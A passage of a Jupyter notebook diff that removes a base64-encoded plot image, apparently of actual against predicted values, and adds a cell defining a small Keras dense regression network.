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",
-      "text/plain": [
-       "<Figure size 1000x500 with 1 Axes>"
+      "cell_type": "markdown",
+      "source": [
+        "# **Model_architecture**"
+      ],
+      "metadata": {
+        "id": "r9jsjI0Do8IG"
+      },
+      "id": "r9jsjI0Do8IG"
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "model.add(Dense(128,activation='relu', input_dim=18))\n",
+        "\n",
+        "model.add(Dense(64,activation='relu'))\n",
+        "\n",
+        "model.add(Dense(4,activation='relu'))\n",
+        "\n",
+        "model.add(Dense(1))"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "OlLpj11pOI7t",
